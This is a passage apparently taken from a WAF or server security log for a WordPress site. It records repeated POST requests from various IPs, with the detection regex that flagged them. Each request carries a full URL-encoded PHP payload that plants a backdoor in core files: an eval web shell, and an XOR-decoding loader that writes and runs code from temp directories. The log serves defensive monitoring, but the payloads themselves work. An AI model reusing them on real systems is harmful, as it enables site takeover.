B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3946\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:53:12","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2021\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nsx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:53:36","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2021\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nlg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:53:45","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2021\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nfC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:54:12","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2021\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nEK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:54:38","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/